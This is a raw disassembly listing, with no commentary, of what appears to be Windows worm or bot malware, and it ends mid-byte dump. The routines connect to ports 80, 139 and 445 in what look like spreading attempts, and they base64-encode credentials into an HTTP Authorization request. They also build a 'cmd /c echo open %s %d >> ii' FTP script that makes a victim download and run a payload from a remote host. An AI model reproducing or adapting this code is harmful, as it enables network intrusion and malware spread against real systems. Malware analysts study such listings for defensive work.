push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289AC lea ecx, [ebp+var_48] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038B5 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_403DF2 ; --------------------------------------------------------------------------- loc_403DE4: ; CODE XREF: sub_403A90+1Bj ; sub_403A90+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_403DF2: ; CODE XREF: sub_403A90+352j pop edi pop ebx leave retn sub_403A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p ; sub_403EBA+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_403E5D lea eax, [ebp+var_10C] push eax push esi call sub_422A46 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_403E61 loc_403E5D: ; CODE XREF: sub_403DF6+54j xor eax, eax jmp short loc_403E71 ; --------------------------------------------------------------------------- loc_403E61: ; CODE XREF: sub_403DF6+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43ADB0 loc_403E71: ; CODE XREF: sub_403DF6+69j pop edi pop esi leave retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E75 proc near ; CODE XREF: sub_403EBA+81p ; sub_403EBA+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43AD94 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 4 jz short loc_403E9F xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E9F: ; CODE XREF: sub_403E75+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43ADE8 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EBA proc near ; CODE XREF: sub_403F94+48p ; ___:00404406p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_403EE3 xor al, al jmp loc_403F8F ; --------------------------------------------------------------------------- loc_403EE3: ; CODE XREF: sub_403EBA+20j push ebx push 0 push esi call sub_417330 push 2Fh push offset dword_4286E4 push esi call sub_417390 push 8 lea eax, [esi+31h] push offset dword_428714 push eax mov [esi+2Fh], di call sub_417390 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_417390 push 6 add ebx, edi push offset dword_436EEC push ebx call sub_417390 mov ebx, [ebp+arg_0] push 85h push offset dword_42865C push ebx call sub_403E75 add esp, 48h test al, al jnz short loc_403F4B loc_403F47: ; CODE XREF: sub_403EBA+B5j xor bl, bl jmp short loc_403F86 ; --------------------------------------------------------------------------- loc_403F4B: ; CODE XREF: sub_403EBA+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 push [ebp+var_4] push esi push ebx call sub_403E75 add esp, 1Ch test al, al jz short loc_403F47 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 add esp, 10h mov bl, 1 loc_403F86: ; CODE XREF: sub_403EBA+8Fj push esi call sub_417C3B pop ecx mov al, bl loc_403F8F: ; CODE XREF: sub_403EBA+24j pop edi pop esi pop ebx leave retn sub_403EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F94 proc near ; CODE XREF: ___:004043ECp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_428720 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_403FCF push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403FCF cmp [ebp+var_20], 82h jz short loc_403FD3 loc_403FCF: ; CODE XREF: sub_403F94+1Bj ; sub_403F94+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403FD3: ; CODE XREF: sub_403F94+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403EBA add esp, 0Ch leave retn sub_403F94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_424278 call sub_417DC4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_424270 fstp [esp+10h+var_10] call sub_417CA4 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_417DC4 inc eax leave retn sub_403FE6 endp ; =============== S U B R O U T I N E ======================================= sub_404032 proc near ; CODE XREF: sub_4041D4+24p var_40 = qword ptr -40h mov eax, offset loc_4230E7 call sub_418290 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404667 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_403FE6 cmp [ebp-2Ch], eax pop ecx jnb short loc_404074 push edi push eax lea ecx, [ebp-38h] call sub_4045E2 loc_404074: ; CODE XREF: sub_404032+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404191 mov ebx, [ebp+10h] loc_404083: ; CODE XREF: sub_404032+156j cmp dword ptr [ebp+10h], 3 jb short loc_40408D push 3 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_404032+55j cmp dword ptr [ebp+10h], 2 jnz short loc_404097 push 2 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_404097: ; CODE XREF: sub_404032+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4040A0 push 1 loc_40409F: ; CODE XREF: sub_404032+59j ; sub_404032+63j pop ebx loc_4040A0: ; CODE XREF: sub_404032+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_424288 fstp [esp+40h+var_40] call sub_417DEB pop ecx pop ecx call sub_417DC4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4040DF mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4040DF: ; CODE XREF: sub_404032+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40414D add [ebp-18h], eax loc_404131: ; CODE XREF: sub_404032+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_42876C[eax] push eax push 1 call sub_404464 inc esi cmp esi, [ebp-1Ch] jb short loc_404131 loc_40414D: ; CODE XREF: sub_404032+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40416B push dword ptr [ebp+14h] call sub_417AB0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4044BD mov [ebp-18h], edi loc_40416B: ; CODE XREF: sub_404032+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_404185 sub esi, [ebp-1Ch] loc_404176: ; CODE XREF: sub_404032+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404464 dec esi jnz short loc_404176 loc_404185: ; CODE XREF: sub_404032+13Fj cmp [ebp+10h], edi ja loc_404083 push 1 pop ebx loc_404191: ; CODE XREF: sub_404032+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404667 push dword_424280 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404514 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404667 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_404032 endp ; =============== S U B R O U T I N E ======================================= sub_4041D4 proc near ; CODE XREF: ___:004043CFp mov eax, offset loc_423104 call sub_418290 sub esp, 10h push ebx push esi push edi push offset byte_436EDC lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_404032 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_417B89 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40421E xor bl, bl jmp short loc_404262 ; --------------------------------------------------------------------------- loc_40421E: ; CODE XREF: sub_4041D4+44j mov ecx, [ebp-18h] mov eax, offset dword_424290 cmp ecx, ebx jnz short loc_40422C mov ecx, eax loc_40422C: ; CODE XREF: sub_4041D4+54j cmp [ebp+18h], ebx jz short loc_404234 mov eax, [ebp+18h] loc_404234: ; CODE XREF: sub_4041D4+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41782A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43ADE8 cmp eax, esi jz short loc_404259 xor bl, bl jmp short loc_40425B ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_4041D4+7Fj mov bl, 1 loc_40425B: ; CODE XREF: sub_4041D4+83j push edi call sub_417C3B pop ecx loc_404262: ; CODE XREF: sub_4041D4+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404667 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404667 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4041D4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_428918 push eax call sub_417390 add esp, 0Ch mov eax, offset byte_42F674 push eax push eax push dword_436F0C push dword ptr [ebp+8] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_41782A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4287B0 push eax call sub_403A90 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40432B xor eax, eax jmp loc_404457 ; --------------------------------------------------------------------------- loc_40432B: ; CODE XREF: ___:00404322j mov [ebp-0Ch], esi loc_40432E: ; CODE XREF: ___:0040442Ej test esi, esi jnz loc_404434 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40441C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43AD98 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43ADD8 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_404411 cmp dword ptr [ebp+0A8h], 50h jnz short loc_4043D9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404667 lea eax, [ebp+0Ch] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_4046A3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4041D4 add esp, 1Ch jmp short loc_40440E ; --------------------------------------------------------------------------- loc_4043D9: ; CODE XREF: ___:00404397j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043F3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F94 jmp short loc_40440B ; --------------------------------------------------------------------------- loc_4043F3: ; CODE XREF: ___:004043E3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404411 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403EBA loc_40440B: ; CODE XREF: ___:004043F1j add esp, 0Ch loc_40440E: ; CODE XREF: ___:004043D7j movzx esi, al loc_404411: ; CODE XREF: ___:0040438Aj ; ___:004043FDj push ebx call dword_43AE30 test esi, esi jnz short loc_404427 loc_40441C: ; CODE XREF: ___:00404347j push 3E8h call near ptr 2610F93h nop loc_404427: ; CODE XREF: ___:0040441Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40432E loc_404434: ; CODE XREF: ___:00404330j lea ecx, [ebp-8] call sub_4038B5 test esi, esi jz short loc_404455 mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_404455: ; CODE XREF: ___:0040443Ej mov eax, esi loc_404457: ; CODE XREF: ___:00404326j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230C8 loc_40445C: ; CODE XREF: sub_4230C8+3j ; ___:004230E1j ... push 1 call sub_404667 retn ; END OF FUNCTION CHUNK FOR sub_4230C8 ; =============== S U B R O U T I N E ======================================= sub_404464 proc near ; CODE XREF: sub_404032+110p ; sub_404032+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40447E call sub_42298A loc_40447E: ; CODE XREF: sub_404464+13j test ebx, ebx jbe short loc_4044B5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_4044B5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_417330 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4044B5: ; CODE XREF: sub_404464+1Cj ; sub_404464+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404464 endp ; =============== S U B R O U T I N E ======================================= sub_4044BD proc near ; CODE XREF: sub_404032+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4044D7 call sub_42298A loc_4044D7: ; CODE XREF: sub_4044BD+13j test ebx, ebx jbe short loc_40450C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_40450C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40450C: ; CODE XREF: sub_4044BD+1Cj ; sub_4044BD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4044BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404514 proc near ; CODE XREF: sub_404032+17Cp ; sub_4228A0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40452C call sub_422863 loc_40452C: ; CODE XREF: sub_404514+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40453E mov esi, [ebp+arg_8] loc_40453E: ; CODE XREF: sub_404514+25j cmp edi, ebx jnz short loc_404560 push dword_424280 add esi, ecx mov ecx, edi push esi call sub_4046D8 push [ebp+arg_4] mov ecx, edi push 0 call sub_4046D8 jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_404560: ; CODE XREF: sub_404514+2Cj test esi, esi jbe short loc_4045A3 cmp esi, eax jnz short loc_4045A3 mov eax, [ebx+4] test eax, eax jnz short loc_404574 mov eax, offset dword_424290 loc_404574: ; CODE XREF: sub_404514+59j cmp byte ptr [eax-1], 0FEh jnb short loc_4045A3 push 1 mov ecx, edi call sub_404667 mov eax, [ebx+4] test eax, eax jnz short loc_40458F mov eax, offset dword_424290 loc_40458F: ; CODE XREF: sub_404514+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_4045A3: ; CODE XREF: sub_404514+4Ej ; sub_404514+52j ... push 1 push esi mov ecx, edi call sub_4045E2 test al, al jz short loc_4045D9 mov eax, [ebx+4] test eax, eax jnz short loc_4045BD mov eax, offset dword_424290 loc_4045BD: ; CODE XREF: sub_404514+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_417390 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4045D9: ; CODE XREF: sub_404514+4Aj ; sub_404514+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404514 endp ; =============== S U B R O U T I N E ======================================= sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp ; sub_404464+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4045F4 call sub_42298A loc_4045F4: ; CODE XREF: sub_4045E2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40461D mov al, [ecx-1] cmp al, dl jz short loc_40461D cmp al, 0FFh jz short loc_40461D cmp edi, edx jnz short loc_404658 dec al push edx mov [ecx-1], al loc_404612: ; CODE XREF: sub_4045E2+47j mov ecx, esi call sub_404667 loc_404619: ; CODE XREF: sub_4045E2+4Bj ; sub_4045E2+52j xor al, al jmp short loc_404662 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045E2+19j ; sub_4045E2+20j ... cmp edi, edx jnz short loc_404636 cmp [esp+8+arg_4], dl jz short loc_40462B push 1 jmp short loc_404612 ; --------------------------------------------------------------------------- loc_40462B: ; CODE XREF: sub_4045E2+43j cmp ecx, edx jz short loc_404619 mov [esi+8], edx mov [ecx], dl jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404636: ; CODE XREF: sub_4045E2+3Dj cmp [esp+8+arg_4], dl jz short loc_404653 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404648 cmp eax, edi jnb short loc_404660 loc_404648: ; CODE XREF: sub_4045E2+60j push 1 mov ecx, esi call sub_404667 jmp short loc_404658 ; --------------------------------------------------------------------------- loc_404653: ; CODE XREF: sub_4045E2+58j cmp [esi+0Ch], edi jnb short loc_404660 loc_404658: ; CODE XREF: sub_4045E2+28j ; sub_4045E2+6Fj push edi mov ecx, esi call sub_40473F loc_404660: ; CODE XREF: sub_4045E2+64j ; sub_4045E2+74j mov al, 1 loc_404662: ; CODE XREF: sub_4045E2+39j pop edi pop esi retn 8 sub_4045E2 endp ; =============== S U B R O U T I N E ======================================= sub_404667 proc near ; CODE XREF: sub_404032+1Fp ; sub_404032+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404693 mov eax, [esi+4] test eax, eax jz short loc_404693 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40468C cmp al, 0FFh jz short loc_40468C dec al mov [ecx], al jmp short loc_404693 ; --------------------------------------------------------------------------- loc_40468C: ; CODE XREF: sub_404667+19j ; sub_404667+1Dj push ecx call sub_4182AF pop ecx loc_404693: ; CODE XREF: sub_404667+8j ; sub_404667+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404667 endp ; =============== S U B R O U T I N E ======================================= sub_4046A3 proc near ; CODE XREF: ___:004043C3p ; sub_4047FC+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4045E2 test al, al jz short loc_4046D1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4046D1: ; CODE XREF: sub_4046A3+12j mov eax, esi pop edi pop esi retn 8 sub_4046A3 endp ; =============== S U B R O U T I N E ======================================= sub_4046D8 proc near ; CODE XREF: sub_404514+39p ; sub_404514+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4046EB call sub_422863 loc_4046EB: ; CODE XREF: sub_4046D8+Cj mov ecx, edi call sub_4047FC mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404701 mov ebx, eax loc_404701: ; CODE XREF: sub_4046D8+25j test ebx, ebx jbe short loc_404737 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4182C0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4045E2 test al, al jz short loc_404737 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404737: ; CODE XREF: sub_4046D8+2Bj ; sub_4046D8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4046D8 endp ; =============== S U B R O U T I N E ======================================= sub_40473F proc near ; CODE XREF: sub_4045E2+79p mov eax, offset loc_423110 call sub_418290 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404765 mov edi, [ebp+8] loc_404765: ; CODE XREF: sub_40473F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404772 xor eax, eax loc_404772: ; CODE XREF: sub_40473F+2Fj push eax call sub_4185F5 pop ecx mov [ebp+8], eax jmp short loc_4047A3 ; --------------------------------------------------------------------------- loc_40477E: ; DATA XREF: ___:00424F9Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40478D xor eax, eax loc_40478D: ; CODE XREF: sub_40473F+4Aj push eax call sub_4185F5 mov [ebp+8], eax pop ecx mov eax, offset loc_40479D retn ; --------------------------------------------------------------------------- loc_40479D: ; DATA XREF: sub_40473F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4047A3: ; CODE XREF: sub_40473F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4047C1 cmp eax, edi jbe short loc_4047B0 mov eax, edi loc_4047B0: ; CODE XREF: sub_40473F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_417390 add esp, 0Ch loc_4047C1: ; CODE XREF: sub_40473F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404667 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4047E1 mov edi, ebx loc_4047E1: ; CODE XREF: sub_40473F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40473F endp ; =============== S U B R O U T I N E ======================================= sub_4047FC proc near ; CODE XREF: sub_4046D8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404829 mov al, [esi-1] test al, al jz short loc_404829 cmp al, 0FFh jz short loc_404829 push 1 call sub_404667 push esi call sub_417AB0 pop ecx push eax push esi mov ecx, edi call sub_4046A3 loc_404829: ; CODE XREF: sub_4047FC+9j ; sub_4047FC+10j ... pop edi pop esi retn sub_4047FC endp ; =============== S U B R O U T I N E ======================================= sub_40482C proc near ; DATA XREF: ___:00426008o test byte_4CDCAC, 1 jnz short loc_40483C or byte_4CDCAC, 1 loc_40483C: ; CODE XREF: sub_40482C+7j jmp $+5 push offset nullsub_1 call sub_418670 pop ecx retn sub_40482C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40484E proc near ; DATA XREF: ___:0042600Co jmp $+5 sub_40484E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404853 proc near mov eax, dword_428BE0 add eax, 6 mov dword_436EF8, eax retn sub_404853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404861 proc near ; CODE XREF: sub_404861+D0p ; ___:00404DC0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_404875 or [ebp+arg_7], 1 jmp short loc_404879 ; --------------------------------------------------------------------------- loc_404875: ; CODE XREF: sub_404861+Cj and [ebp+arg_7], 0FEh loc_404879: ; CODE XREF: sub_404861+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40489D or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_4048AF ; --------------------------------------------------------------------------- loc_40489D: ; CODE XREF: sub_404861+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_4048AF: ; CODE XREF: sub_404861+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_417B89 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_404948 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jz short loc_40493F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40493F push [ebp+arg_20] call sub_417C3B cmp [ebp+arg_2B], 0 pop ecx jz short loc_40493B push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_404861 add esp, 2Ch jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_404861+B3j mov al, 1 jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493F: ; CODE XREF: sub_404861+9Cj ; sub_404861+A4j push [ebp+arg_20] call sub_417C3B pop ecx loc_404948: ; CODE XREF: sub_404861+61j xor al, al loc_40494A: ; CODE XREF: sub_404861+D8j ; sub_404861+DCj pop edi pop esi pop ebx leave retn sub_404861 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 0D4h ; Ô db 31h ; 1 db 1 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 